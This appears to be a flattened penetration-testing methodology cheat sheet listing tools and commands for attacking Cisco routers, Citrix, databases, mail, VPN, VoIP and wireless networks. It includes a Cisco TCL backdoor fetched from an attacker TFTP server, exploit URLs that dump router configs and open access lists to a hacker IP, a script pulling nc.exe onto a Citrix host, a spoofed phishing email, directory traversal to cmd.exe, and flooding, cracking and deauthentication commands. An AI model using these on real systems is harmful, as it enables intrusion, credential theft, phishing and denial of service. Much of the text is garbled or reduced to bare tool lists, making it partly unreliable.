BT onesixtyone-0.3.2 # onesixtyone -c dict.txt 10.1.1.175 Scanning 1 hosts, 64 communities 10.1.1.175 [enable] Cisco Internetwork Operating System
Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com
/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug 10.1.1.175 [Cisco] Cisco Internetwork Operating System Software IOS (tm)
C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c)
1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug
snmpwalk: - snmpwalk is part of the SNMP toolkit.??After a valid community string is identified, you should use snmpwalk to 'walk' the SNMP Management Information
Base (MIB) for further information.??Ensure that you get the correct version of SNMP protocol in use or it will not work correctly.??It may be a good idea to redirect the
output to a text file for easier viewing as the tool outputs a large amount of text.
snmapwalk -v <Version> -c <Community string> <IP>
BT# snmpwalk -v 1 -c enable 10.1.1.1
SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17,
RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug SNMPv2MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.185 DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (363099) 1:00:30.99 SNMPv2MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: router SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 78
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00 IF-MIB::ifNumber.0 = INTEGER: 4
Braa
./braa -v [email protected]:161:.1.3.6.1. 2.1.1.1.0
Connecting.
Telnet
The telnet service on Cisco devices can authenticate users based upon a password in the config file or against a RADIUS or TACACS server. If the device is
simply using a VTY configuration for Telnet access, then it is likely that only a password is required to log on. If the device is passing authentication details to a
RADIUS or TACACS server, then a combination of username and password will be required.
telnet <IP>
Sample Banners
VTY configuration:
BT / # telnet 10.1.1.175
Trying 10.1.1.175...
Connected to 10.1.1.175.
Escape character is '^]'.
User Access Verification
Password:
router>
External authentication server:
BT / # telnet 10.1.1.175
Trying 10.1.1.175...
Connected to 10.1.1.175.
Escape character is '^]'.
User Access Verification
Username: admin
Password:
router>
SSH
Web Browser
HTTP/HTTPS: - Web based access can be achieved via a simple web browser, as long as the HTTP adminstration service is active on the target device:
This uses a combination of username and password to authenticate. After browsing to the target device, an "Authentication Required" box will pop up with
text similar to the following:
Authentication Required Enter username and password for "level_15_access" at http://10.1.1.1 User Name: Password:
Once logged in, you have non-privileged mode access and can even configure the router through a command interpreter.
Cisco Systems Accessing Cisco 2610 "router"
Show diagnostic log - display the diagnostic log.
Monitor the router - HTML access to the command line interface at level 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
Show tech-support - display information commonly needed by tech support.
Extended Ping - Send extended ping commands.???
VPN Device Manager (VDM) - Configure and monitor Virtual Private Networks (VPNs) through the web interface.
TFTP
Trivial File Transfer Protocol is used to back up the config files of the router.??Should an attacker discover the enable password or RW SNMP community string,
the config files are easy to retrieve.
?Cain & Abel -Cisco Configuration Download/Upload (CCDU)??With this tool the RW community string and the version of SNMP in use and running-config
file can be downloaded to your local system.?
ios-w3-vuln exploits the HTTP Access Bug to 'fetch' the running-config to your local TFTP server. Both of these tools require the config files to be saved with
default names.
There are ways of extracting the config files directy from the router even if the names have changed, however you are really limited by the speed of the TFTP
server to dictionary based attacks.??Cisco-torch is one of the tools that will do this.??It will attempt to retrieve config files listed in the brutefile.txt file:
./cisco-torch.pl <options> <IP,hostname,network>
./cisco-torch.pl <options> -F <hostlist>

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Creating backdoors in Cisco IOS using TCL

en
router
source tftp tftp://<Attacker_TFTP_SERVER>/tclshell_ios.tcl
telnet <router IP>:Port
tclshell

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Known Bugs.
Attack Tools
Cisco Global Exploiter (CGE-13): - CGE is an attempt to combine all of the Cisco attacks into one tool.
perl cge.pl <target> <vulnerability number>
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
?[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
HTTP Arbitrary Access vulnerability: - A common security flaw (of its time!) was/is the HTTP Arbitrary Access vulnerability.??This flaw allowed an external attacker
to execute router commands via the web interface.??Cisco devices have a number of??privilege levels, these levels start at 0 (User EXEC) and go up to 100,
although mostly only the first 15??are used.??Level 15 is Privileged EXEC mode, the same as enable mode.??By referring to these levels within the URL of the
target device, an attacker could pass commands to the router and have them execute in Privilege EXEC mode.
Web browse to the Cisco device: http://<IP>
Click cancel to the logon box and enter the following address:
?http://<IP>/level/99/exec/show/config?(You may have to scroll through all of the levels from 16-99 for this to work.)
To raise the logging level to only log emergencies:
http://<IP>/level/99/configure/logging/trap/emergencies/CR
To add a rule to allow Telnet:
http://<IP>/level/99/configure/access-list/100/permit/ip/host/<Hacker-IP>/any/CR
ios-w3-vuln: - A CLI tool that automatically scrolls through all available privilege levels to identify if any are vulnerable to this attack, this tool is called ios-w3-vuln
(although it may have other names.)??As well as identifying the vulnerable level, ios-w3-vuln will also attempt to TFTP download the running.config file to a TFTP
server running locally.?
./ios-w3-vul 192.168.1.1 fetch > /tmp/router.txt
Common Vulnerabilities and Exploits (CVE) Information
Vulnerabilties and exploit information relating to these products can be found here:http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=cisco+IOS
Configuration Files.
Configuration Files.
The relevant configuration files that control a Cisco router have already been covered in Methodology | (5) Further your attack. In the child to this entry is a sample
running-config file from a Cisco 2600 router running IOS version 12.2.
Configuration files explained
The line that reads "enable password router", where "router" is the password, is the TTY console password which is superceeded by the enable secret
password for remote access.
Telnet Access. If telnet is configured on the VTY (Virtual TTY) interface, then the credentials will be in the config file: line vty 0 4 password telnet login
SNMP Settings. If the target router is configured to use SNMP, then the SNMP community strings will be in the config file.??It should have the read-only (RO)
and may have the read-write (RW) strings: snmp-server community Cisco RO snmp-server community enable RW
Password Encryption Utilised
Enable password. The Holy Grail, the 'enable' password, the root level access to the router.??There are two main methods of storing the enable
password in a config file, type 5 and type 7, MD5 hashed and Viginere encryption respectively. An example is:?enable secret 5
$1$c2He$GWSkN1va8NJd2icna9TDA.????
Type 7 should be avoided as it is extremely easy to crack, it can even be done by hand!??An example Type 7 password is given below but does not
exist in the example running-config file: enable password 7 104B0718071B17 They can be cracked with the following tools:?
Boson GetPass
Cain
Online cracking
Type 5 password protection is much more secure.??However, should an attacker get hold of the configuration file somehow, then the MD5 hash can
be extracted and cracked offline with the following tools:?
Cain
John the Ripper
Entered into a text file as follows: username:$1$c2He$GWSkN1va8NJd2icna9TDA.
version 12.2
service config
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname vapt-router
!
logging queue-limit 100
enable secret 5 $1$c2He$GWSkN1va8NJd2icna9TDA.
enable password router
!
memory-size iomem 10
ip subnet-zero
no ip routing
!
ip audit notify log

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ip audit po max-events 100

!
no voice hpi capture buffer
no voice hpi capture destination?
!
mta receive maximum-recipients 0

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!
interface Ethernet0/0
?ip address 10.1.1.175 255.255.255.0
?no ip route-cache
?no ip mroute-cache
?half-duplex
!
interface Serial0/0
?no ip address
?no ip route-cache
?no ip mroute-cache
?shutdown
!
ip http server
no ip http secure-server
ip classless
!
snmp-server community Cisco RO
snmp-server community enable RW
snmp-server enable traps tty
call rsvp-sync
!
mgcp profile default
!
dial-peer cor custom
!
line con 0
line aux 0
line vty 0 4
password telnet
login
!
end
Configuration Testing Tools
Nipper
fwauto (Beta)
Cisco::CopyConfig
Copy Cisco Config
References.
Cisco IOS Exploitation Techniques
Citrix Specific Testing
Citrix provides remote access services to multiple users across a wide range of platforms. The following information I have put together which will hopefully help you conduct
a vulnerability assessment/ penetration test against Citrix
Enumeration
web search
Google (GHDB)
ext:ica
inurl:citrix/metaframexp/default/login.asp
[WFClient] Password= filetype:ica
inurl:citrix/metaframexp/default/login.asp? ClientDetection=On
inurl:metaframexp/default/login.asp | intitle:"Metaframe XP Login"
inurl:/Citrix/Nfuse17/
inurl:Citrix/MetaFrame/default/default.aspx
Google Hacks (Author Discovered)
filetype:ica Username=
inurl:Citrix/AccessPlatform/auth/login.aspx
inurl:/Citrix/AccessPlatform/
inurl:LogonAgent/Login.asp
inurl:/CITRIX/NFUSE/default/login.asp
inurl:/Citrix/NFuse161/login.asp
inurl:/Citrix/NFuse16
inurl:/Citrix/NFuse151/
allintitle:MetaFrame XP Login
allintitle:MetaFrame Presentation Server Login
inurl:Citrix/~bespoke_company_name~/default/login.aspx?ClientDetection=On
allintitle:Citrix(R) NFuse(TM) Classic Login
allintitle:Citrix(R) NFuse(TM)
allintitle:Citrix(r) NFuse(tm) 1.6
allintitle:Citrix(R) NFuse(TM) Options
allintitle:Citrix(R) NFuse(TM) Innlogging
Yahoo
originurlextension:ica
site search
Manual
review web page for useful information
review source for web page
generic
nmap -A -PN -p 80,443,1494 ip_address
amap -bqv ip_address port_no.

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citrix specific

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enum.pl
perl enum.pl ip_address
enum.js
enum.js apps TCPBrowserAdress=ip_address
connect.js
connect.js TCPBrowserAdress=ip_address Application=advertised-application
Citrix-pa-scan
perl pa-scan.pl ip_address [timeout] > pas.wri
pabrute.c
./pabrute pubapp list app_list ip_address
Default Ports
TCP
Citrix XML Service
80
Advanced Management Console
135
Citrix SSL Relay
443
ICA sessions
1494
Server to server
2512
Management Console to server
2513
Session Reliability (Auto-reconnect)
2598
Note: - If 1494 is open, this would not normally be seen
License Management Console
8082
License server
27000
UDP
Clients to ICA browser service
1604
Server-to-server
1604
nmap nse scripts
citrix-enum-apps
nmap -sU --script=citrix-enum-apps -p 1604 <host>
citrix-enum-apps-xml
nmap --script=citrix-enum-apps-xml -p 80,443 <host>
citrix-enum-servers
nmap -sU --script=citrix-enum-servers -p 1604
citrix-enum-servers-xml
nmap --script=citrix-enum-servers-xml -p 80,443 <host>
citrix-brute-xml
nmap --script=citrix-brute-xml --script-args=userdb=<userdb>,passdb=<passdb>,ntdomain=<domain> -p 80,443 <host>
Scanning
Nessus
Plugins
CGI abuses
NetScaler web management interface ip address cookie disclosure
CGI abuses : Cross Site Scripting (XSS)
Citrix MetaFrame XP login.asp
Citrix NFuse Launch Scripts
NetScaler web management XSS
Misc.
Citrix Published Applications Remote Enumeration
NetScaler web management cookie information
Service Detection
Citrix Licensing Server detection
Citrix Server detection
Web Servers
Citrix NFuse Server launch.asp Arbitrary Server/ Port Redirect
NetScaler web management cookie cipher weakness
NetScaler web management interface detection
Unencrypted NetScaler web management interface
Windows
Citrix Licensing Server License Management Console
Citrix Password Manager Agent Secondary Credential Information Disclosurey
Citrix Password Manager Service Stored Credentials Disclosure
Citrix Presentation Server Remote Code Execution
Citrix Presentation Server Client Program Neighbourhood Agent (PNAgent) Denial of Service
Citrix web interface 4.6, 5.0, 5.0.1 XSS

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Novell Client TS/ Citrix Session Arbitrary User Profile Invocation

NetScaler web management cookie cipher weakness
NetScaler web management interface detection
NetScaler web management login
Unencrypted NetScaler web management interface

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Nikto
perl nikto.pl -host ip_address -port port_no.
Note: - It is possible to grep all Citrix/ NFuse/ NetScaler vulnerabilities currently housed in the nikto db and create your own db_tests file replacing the local
version in nikto\plugins directory should you wish to specifically limit your enumeration to Citrix vulnerabilties. As of 1 Oct 09, there are currently 9 specific
tests meeting these requirements.
Exploitation
Alter default .ica files
InitialProgram=cmd.exe
InitialProgram=c:\windows\system32\cmd.exe
InitialProgram=explorer.exe
Enumerate and Connect
For applications identified by Citrix-pa-scan
Pas
Requires pas.wri to be present in the same directory (obtained from the output using Citrix-pa-scan)
Writes output to pas_results.wri
For published applications with a Citrix client when the master browser is non-public.
Citrix-pa-proxy
pa-proxy.pl IP_to_proxy_to (i.e. remote server) 127.0.0.1
Manual Testing
Create Batch File (cmd.bat)
1
cmd.exe
2
echo off
command
echo on
Host Scripting File (cmd.vbs)
Option Explicit
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "%comspec% /k"
WScript.Quit
alternative functionality
objShell.Run "%comspec% /k c: & dir"
objShell.Run "%comspec% /k c: & cd temp & dir >temp.txt & notepad temp.txt"
objShell.Run "%comspec% /k c: & tftp -i ip_address GET nc.exe" :-)
iKat
Integrated Kiosk Attack Tool
Reconnaissance
FileSystem Links
Common Dialogs
Application Handlers
Browser Plugins
iKAT Tools
AT Command - priviledge escalation
AT HH:MM /interactive "cmd.exe"
AT HH:MM /interactive %comspec% /k
Note: - AT by default runs as system and although enabled for a normal user, will only work with these privileges for an admin, however, still worth a try.
Keyboard Shortcuts/ Hotkeys
Ctrl + h View History
Ctrl + n New Browser
Shift + Left Click New Browser
Ctrl + o Internet Address (browse feature)
Ctrl + p Print (to file)
Right Click (Shift + F10)
Save Image As
View Source
F1 Jump to URL
SHIFT+F1: Local Task List
SHIFT+F2: Toggle Title Bar
SHIFT+F3: Close Remote Application
CTRL+F1: Displays Windows Security Desktop Ctrl+Alt+Del
CTRL+F2: Remote Task List
CTRL+F3: Remote Task Manager Ctrl+Shift+ESC
ALT+F2: Cycle through programs
ALT+PLUS: Alt+TAB
ALT+MINUS: ALT+SHIFT+TAB
netscaler-cookie-decryptor
Brute Force
bforce.js
bforce.js TCPBrowserAddress=ip_address usernames=user1,user2 passwords=pass1,pass2
bforce.js HTTPBrowserAddress=ip_address userfile=file.txt passfile=file.txt
bforce.js TCPBrowserAddress=ip-address usernames=user1,user2 passwords=pass1,pass2 timeout=5000

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Review Configuration Files

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Application server configuration file

appsrv.ini
Location
<profile path>\Application Data\ICAClient
/usr/lib/ICAClient/config/appsrv.ini
$HOME/.ICAClient/appsrv.ini
Other ...
World writeable
Citrix Server Allows Key Logging Functionality
scancodes.pl
perl scancodes.pl wfcwin32.log
LogKeyboard=On
LogAppend=On
Review other files
wfcwin32.log
<profile path>\Application Data\ICAClient
Other ...
Sample file
Program Neighborhood configuration file
pn.ini
Location
<profile path>\Application Data\ICAClient
/usr/lib/ICAClient/config/pn.ini
Other ...
Review other files
.idx files
Mini-database containing published apps available
.vl files
The encrypted username, password, and domain name
Sample file
Weak Encryption enabled?
http://support.citrix.com/article/CTX155541
Thanks to Pawe Krawczyk

Citrix ICA client configuration file

wfclient.ini
Location
<profile path>\Application Data\ICAClient
/usr/lib/ICAClient/config/wfclient. ini
$HOME/.ICAClient/wfclient.ini
Other ...
Sample file
References
Vulnerabilities
Art of Hacking
Common Vulnerabilities and Exploits (CVE)
Vulnerabilties and exploit information relating to these products can be found here:
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=citrix
OSVDB
http://osvdb.org/search/search?search[vuln_title]=Citrix&search[text_type]=titles&search[s_date]=&search[e_date]=&search[refid]=&
search[referencetypes]=&search[vendors]=&kthx=searchSecunia
Secunia
http://secunia.com/advisories/search/?search=citrix
Security-database.com
http://www.security-database.com/cgi-bin/search-sd.cgi?q=Citrix
SecurityFocus
Support
Citrix
Knowledge Base
Forum
Thinworld
Exploits
Milw0rm
http://www.milw0rm.com/search.php
Art of Hacking
Citrix
Tutorials/ Presentations
Carnal0wnage
Carnal0wnage Blog: Citrix Hacking
Foundstone
Got Citrix, Hack IT

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GNUCitizen
Hacking CITRIX - the forceful way
0day: Hacking secured CITRIX from outside
CITRIX: Owning the Legitimate Backdoor
Remote Desktop Command Fixation Attacks

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Packetstormsecurity
Hacking Citrix
Insomniac Security
Hacking Citrix
Aditya Sood
Rolling Balls - Can you hack clients
BlackHat
Client Side Security
itgeekchronicles
Netscaler: Making sense of the Cookie
Tools Resource
Zip file containing the majority of tools mentioned in this article into a zip file for easy download/ access
Network Backbone
Generic Toolset
Wireshark (Formerly Ethereal)
Passive Sniffing
Usernames/Passwords
Email
POP3
SMTP
IMAP
FTP
HTTP
HTTPS
RDP
VOIP
Other
Filters
ip.src == ip_address
ip.dst == ip_address
tcp.dstport == port_no.
! ip.addr == ip_address
(ip.addr eq ip_address and ip.addr eq ip_address) and (tcp.port eq 1829 and tcp.port eq 1863)
Cain & Abel
Active Sniffing
ARP Cache Poisoning
Usernames/Passwords
Email
POP3
SMTP
IMAP
FTP
HTTP
HTTPS
RDP
VOIP
Other
DNS Poisoning
Routing Protocols
Cisco-Torch
./cisco-torch.pl <options> <IP,hostname,network> or ./cisco-torch.pl <options> -F <hostlist>
NTP-Fingerprint
perl ntp-fingerprint.pl -t [ip_address]
Yersinia
p0f
./p0f [ -f file ] [ -i device ] [ -s file ] [ -o file ] [ -w file ] [ -Q sock ] [ -u user ] [ -FXVONDUKASCMRqtpvdlr ] [ -c size ] [ -T nn ] [ 'filter rule' ]
Manual Check (Credentials required)
MAC Spoofing
mac address changer for windows
macchanger
Random Mac Address:- macchanger -r eth0
madmacs
smac
TMAC
Penetration - An exploit usually relates to the existence of some flaw or vulnerability in an application or operating system that if used could lead to privilege escalation or denial of
service against the computer system that is being attacked. Exploits can be compiled and used manually or various engines exist that are essentially at the lowest level
pre-compiled point and shoot tools. These engines do also have a number of other extra underlying features for more advanced users.
Password Attacks
Known Accounts
Identified Passwords
Unidentified Hashes

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Default Accounts
Identified Passwords
Unidentified Hashes

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Exploits
Successful Exploits
Accounts
Passwords
Cracked
Uncracked
Groups
Other Details
Services
Backdoor
Connectivity
Unsuccessful Exploits
Resources
Securiteam
Exploits are sorted by year and must be downloaded individually
SecurityForest
Updated via CVS after initial install
GovernmentSecurity
Need to create and account to obtain access
Red Base Security
Oracle Exploit site only
Wireless Vulnerabilities & Exploits (WVE)
Wireless Exploit Site
PacketStorm Security
Exploits downloadable by month and year but no indexing carried out.
SecWatch
Exploits sorted by year and month, download seperately
SecurityFocus
Exploits must be downloaded individually
Metasploit
Install and regualrly update via svn
Milw0rm
Exploit archived indexed and sorted by port download as a whole - The one to go for!
Tools
Metasploit
Free Extra Modules
local copy
Manual SQL Injection
Understanding SQL Injection
SQL Injection walkthrough
SQL Injection by example
Blind SQL Injection
Advanced SQL Injection in SQL Server
More Advanced SQL Injection
Advanced SQL Injection in Oracle databases
SQL Cheatsheets
http://ha.ckers.org/sqlinjection
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.0x000000.com/?i=14
http://pentestmonkey.net/?
SQL Power Injector
SecurityForest
SPI Dynamics WebInspect
Core Impact
Cisco Global Exploiter
PIXDos
perl PIXdos.pl [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=M AC] [--destmac=MAC] [--port=n]
CANVAS
Inguma
Server Specific Tests
Databases
Direct Access Interrogation
MS SQL Server
Ports
UDP
TCP
Version
SQL Server Resolution Service (SSRS)
Other
osql
Attempt default/common accounts

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Retrieve data
Extract sysxlogins table

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Oracle
Ports
UDP
TCP
TNS Listener
VSNUM Converted to hex
Ping / version / status / devug / reload / services / save_config / stop
Leak attack
SQL Plus
Default Account/Passwords
Default SID's
MySQL
Ports
UDP
TCP
Version
Users/Passwords
mysql.user
DB2
Informix
Sybase
Other
Scans
Default Ports
Non-Default Ports
Instance Names
Versions
Password Attacks
Sniffed Passwords
Cracked Passwords
Hashes
Direct Access Guesses
Vulnerability Assessment
Automated
Reports
Vulnerabilities
Severe
High
Medium
Low
Manual
Patch Levels
Missing Patches
Confirmed Vulnerabilities
Severe
High
Medium
Low
Mail
Scans
Fingerprint
Manual
Automated
Spoofable
Telnet spoof
telnet target_IP 25helo target.commail from: [email protected] to: [email protected]: [email protected]:
[192.168.1.1]X-Originating-Email: [[email protected]]MIME-Version: 1.0To: <[email protected]>From: < [email protected] >Subject: Important!
Account check requiredContent-Type: text/htmlContent-Transfer-Encoding: 7bitDear Valued Customer,The corporate network has recently gone through a
critical update to the Active Directory, we have done this to increase security of the network against hacker attacks to protect your private information. Due to
this, you are required to log onto the following website with your current credentials to ensure that your account does not expire.Please go to the following
website and log in with your account details. <a href=http://192.168.1.108/hacme.html>www.target.com/login</a>Online Security Manager.Target
[email protected].
Relays
VPN
Scanning
500 UDP IPSEC
1723 TCP PPTP
443 TCP/SSL
nmap -sU -PN -p 500 80.75.68.22-27
ipsecscan 80.75.68.22 80.75.68.27
Fingerprinting
ike-scan --showbackoff 80.75.68.22 80.75.68.27
PSK Crack
ikeprobe 80.75.68.27
sniff for responses with C&A or ikecrack

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Vulnerability Assessment
Automated
Reports
Vulnerabilities
Severe
High
Medium
Low
Manual
Patch Levels
Missing Patches
Confirmed Vulnerabilities
Severe
High
Medium
Low
Permissions
PUT /test.txt HTTP/1.0
CONNECT mail.another.com:25 HTTP/1.0
POST http://mail.another.com:25/ HTTP/1.0Content-Type: text/plainContent-Length: 6
Scans
Fingerprinting
Other
HTTP
Commands
JUNK / HTTP/1.0
HEAD / HTTP/9.3
OPTIONS / HTTP/1.0
HEAD / HTTP/1.0
GET /images HTTP/1.0
PROPFIND / HTTP/1.0
Modules
WebDAV
ASP.NET
Frontpage
OWA
IIS ISAPI
PHP
OpenSSL
File Extensions
.ASP, .HTM, .PHP, .EXE, .IDQ
HTTPS
Commands
JUNK / HTTP/1.0
HEAD / HTTP/9.3
OPTIONS / HTTP/1.0
HEAD / HTTP/1.0
Commands
JUNK / HTTP/1.0
HEAD / HTTP/9.3
OPTIONS / HTTP/1.0
HEAD / HTTP/1.0
File Extensions
.ASP, .HTM, .PHP, .EXE, .IDQ
Directory Traversal
http://www.target.com/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

VoIP Security
Sniffing Tools
AuthTool
Cain & Abel
Etherpeek
NetDude
Oreka
PSIPDump
SIPomatic
SIPv6 Analyzer
UCSniff
VoiPong
VOMIT
Wireshark
WIST - Web Interface for SIP Trace
Scanning and Enumeration Tools
enumIAX
fping
IAX Enumerator
iWar
Nessus
Nmap
SIP Forum Test Framework (SFTF)

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SIPcrack

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sipflanker
python sipflanker.py 192.168.1-254
SIP-Scan
SIP.Tastic
SIPVicious
SiVuS
SMAP
smap IP_Address/Subnet_Mask
smap -o IP_Address/Subnet_Mask
smap -l IP_Address
snmpwalk
VLANping
VoIPAudit
VoIP GHDB Entries
VoIP Voicemail Database
Packet Creation and Flooding Tools
H.323 Injection Files
H225regreject
IAXHangup
IAXAuthJack
IAX.Brute
IAXFlooder
./iaxflood sourcename destinationname numpackets
INVITE Flooder
./inviteflood interface target_user target_domain ip_address_target no_of_packets
kphone-ddos
RTP Flooder
rtpbreak
Scapy
Seagull
SIPBomber
SIPNess
SIPp
SIPsak
Tracing paths: - sipsak -T -s sip:usernaem@domain
Options request:- sipsak -vv -s sip:username@domain
Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
SIP-Send-Fun
SIPVicious
Spitter
TFTP Brute Force
perl tftpbrute.pl <tftpserver> <filelist> <maxprocesses>
UDP Flooder
./udpflood source_ip target_destination_ip src_port dest_port no_of_packets
UDP Flooder (with VLAN Support)
./udpflood source_ip target_destination_ip src_port dest_port TOS user_priority VLAN ID no_of_packets
Voiphopper
Fuzzing Tools
Asteroid
Codenomicon VoIP Fuzzers
Mu Security VoIP Fuzzing Platform
ohrwurm RTP Fuzzer
PROTOS H.323 Fuzzer
PROTOS SIP Fuzzer
SIP Forum Test Framework (SFTF)
Sip-Proxy
Spirent ThreatEx
Signaling Manipulation Tools
AuthTool
./authtool captured_sip_msgs_file -d dictionary -r usernames_passwords -v
BYE Teardown
Check Sync Phone Rebooter
RedirectPoison
./redirectpoison interface target_source_ip target_source_port "<contact_information i.e. sip:100.77.50.52;line=xtrfgy>"
Registration Adder
Registration Eraser
Registration Hijacker
SIP-Kill
SIP-Proxy-Kill
SIP-RedirectRTP
SipRogue
vnak
Media Manipulation Tools
RTP InsertSound
./rtpinsertsound interface source_rtp_ip source_rtp_port destination_rtp_ip destination_rtp_port file
RTP MixSound
./rtpmixsound interface source_rtp_ip source_rtp_port destination_rtp_ip destination_rtp_port file
RTPProxy

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RTPInject

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Generic Software Suites

OAT Office Communication Server Tool Assessment
EnableSecurity VOIPPACK
Note: - Add-on for Immunity Canvas
References
URL's
Common Vulnerabilities and Exploits (CVE)
Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=voip
Default Passwords
Hacking Exposed VoIP
Tool Pre-requisites
Hack Library
g711conversions
VoIPsa
White Papers
An Analysis of Security Threats and Tools in SIP-Based VoIP Systems
An Analysis of VoIP Security Threats and Tools
Hacking VoIP Exposed
Security testing of SIP implementations
SIP Stack Fingerprinting and Stack Difference Attacks
Two attacks against VoIP
VoIP Attacks!
VoIP Security Audit Program (VSAP)
Wireless Penetration
Wireless Assessment. The following information should ideally be obtained/enumerated when carrying out your wireless assessment. All this information is needed to give
the tester, (and hence, the customer), a clear and concise picture of the network you are assessing. A brief overview of the network during a pre-site meeting weith the
customer should allow you to estimate the timescales required to carry the assessment out.
Site Map
RF Map
Lines of Sight
Signal Coverage
Standard Antenna
Directional Antenna
Physical Map
Triangulate APs
Satellite Imagery
Network Map
MAC Filter
Authorised MAC Addresses
Reaction to Spoofed MAC Addresses
Encryption Keys utilised
WEP
Key Length
Crack Time
Key
WPA/PSK
TKIP
Temporal Key Integrity Protocol, (TKIP), is an encryption protocol desgined to replace WEP
Key
Attack Time
AES
Advanced Encryption Standard (AES) is an encryption algorithm utilised for securing sensitive data.
Key
Attack Time
802.1x
Derivative of 802.1x in use
Access Points
ESSID
Extended Service Set Identifier, (ESSID). Utilised on wireless networks with an access point
Broadcast ESSIDs
BSSIDs
Basic service set identifier, (BSSID), utilised on ad-hoc wireless networks.
Vendor
Channel
Associations
Rogue AP Activity
Wireless Clients
MAC Addresses
Vendor
Operating System Details
Adhoc Mode
Associations
Intercepted Traffic
Encrypted

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Clear Text

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Wireless Toolkit
Wireless Discovery
Aerosol
Airfart
Aphopper
Apradar
BAFFLE
inSSIDer
iWEPPro
karma
KisMAC-ng
Kismet
MiniStumbler
Netstumbler
Vistumbler
Wellenreiter
Wifi Hopper
WirelessMon
WiFiFoFum
Packet Capture
Airopeek
Airpcap
Airtraf
Apsniff
Cain
Commview
Ettercap
Netmon
nmwifi
Wireshark
EAP Attack tools
eapmd5pass
eapmd5pass -w dictionary_file -r eapmd5-capture.dump
eapmd5pass -w dictionary_file -U username -C EAP-MD5 Challengevalue -R EAP_MD5_Response_value -E 2 EAP-MD5 Response EAP ID Value i.e.
-C e4:ef:ff:cf:5a:ea:44:7f:9a:dd:4f:3b:0e:f4:4d:20 -R 1f:fd:6c:46:49:bc:5d:b9:11:24:cd:02:cb:22:6d:37 -E 2

Leap Attack Tools

asleap
thc leap cracker
anwrap
WEP/ WPA Password Attack Tools
Airbase
Aircrack-ptw
Aircrack-ng
Airsnort
cowpatty
FiOS Wireless Key Calculator
iWifiHack
KisMAC-ng
Rainbow Tables
wep attack
wep crack
wzcook
Frame Generation Software
Airgobbler
airpwn
Airsnarf
Commview
FreeRADIUS - Wireless Pwnage Edition
fake ap
Mdk3
void 11
wifi tap
wifitap -b <BSSID> [-o <iface>] [-i <iface> [-p] [-w <WEP key> [-k <key id>]] [-d [-v]] [-h]
Mapping Software
Online Mapping
WIGLE
Skyhook
Tools
Knsgem
Support Tools
gpsd
GPShell
File Format Conversion Tools
ns1 recovery and conversion tool
warbable
warkizniz
warkizniz04b.exe [kismet.csv] [kismet.gps] [ns1 filename]
ivstools

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IDS Tools
WIDZ
War Scanner
Snort-Wireless
AirDefense
AirMagnet

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WLAN discovery
Unencrypted WLAN
Visible SSID
Sniff for IP range
MAC authorised
MAC filtering
Spoof valid MAC
Linux
ifconfig [interface] hw ether [MAC]
macchanger
Random Mac Address:- macchanger -r eth0
mac address changer for windows
madmacs
TMAC
SMAC
Hidden SSID
Deauth client
Aireplay-ng
aireplay -0 1 -a [Access Point MAC] -c [Client MAC] [interface]
Commview
Tools > Node reassociation
Void11
void11_penetration wlan0 -D -t 1 -B [MAC]
WEP encrypted WLAN
Visible SSID
WEPattack
wepattack -f [dumpfile] -m [mode] -w [wordlist] -n [network]
Capture / Inject packets
Break WEP
Aircrack-ptw
aircrack-ptw [pcap file]
Aircrack-ng
aircrack -q -n [WEP key length] -b [BSSID] [pcap file]
Airsnort
Channel > Start
WEPcrack
perl WEPCrack.pl
./pcap-getIV.pl -b 13 -i wlan0
Hidden SSID
Deauth client
Aireplay-ng
aireplay -0 1 -a [Access Point MAC] -c [Client MAC] [interface]
Commview
Tools > Node reassociation
Void11
void11_hopper
